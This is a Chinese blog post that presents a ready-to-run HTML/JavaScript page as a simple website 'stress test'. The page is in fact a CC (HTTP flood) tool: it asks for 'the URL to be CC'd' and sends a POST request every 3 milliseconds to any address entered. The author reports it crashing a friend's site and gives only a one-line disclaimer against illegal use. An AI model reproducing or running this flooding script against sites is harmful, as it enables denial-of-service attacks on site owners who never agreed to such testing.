一个js,让你实现简单的网站测压

闲的无聊发现这个东西感觉还不错测试了一下我网站基本没什么影响,但我朋友的直接报错所以网站稳不稳,不妨试一试此cc原理就是重复多次访问,1分钟几千条禁止用于非法

已经直接写成html,直接新建html文件就能执行啦代码如下:

<!DOCTYPE html>
<html lang=\"en\">
 <head>
 <meta charset=\"UTF-8\" />
 <meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge\" />
 <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\" />
 <title>Document</title>
 <style>
 body {
 display: flex;
 align-items: center;
 justify-content: center;
 }
 input {
 height: 35px;
 padding: 0 10px;
 box-sizing: border-box;
 outline: none;
 }
 </style>
 </head>
 <body>
 <input type=\"text\" placeholder=\"请输入需要被CC的网址\" style=\"margin-right: 10px\" />
 <input type=\"button\" value=\"开始\" />
 <script>
 let timer = null;
 const input = document.querySelector(\'input[type=\"text\"]\');
 const button = document.querySelector(\'input[type=\"button\"]\');
 button.addEventListener(\'click\', function () {
 const url = input.value;
 if (!url) return alert(\'请输入需要被压的域名\');
 if (!url.startsWith(\'http\')) return alert(\'请输入http或https开头的网址\');
 if (this.value === \'开始\') {
 this.value = \'停止\';
 timer = setInterval(() => {
 const xhr = new XMLHttpRequest();
 xhr.open(\'POST\', url, true);
 xhr.setRequestHeader(\'Content-Type\', \'application/x-www-form-urlencoded\');
 xhr.send(\'name=name\');
 }, 3);
 } else {
 this.value = \'开始\';
 clearInterval(timer);
 }
 });
 </script>
 </body>
</html>

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值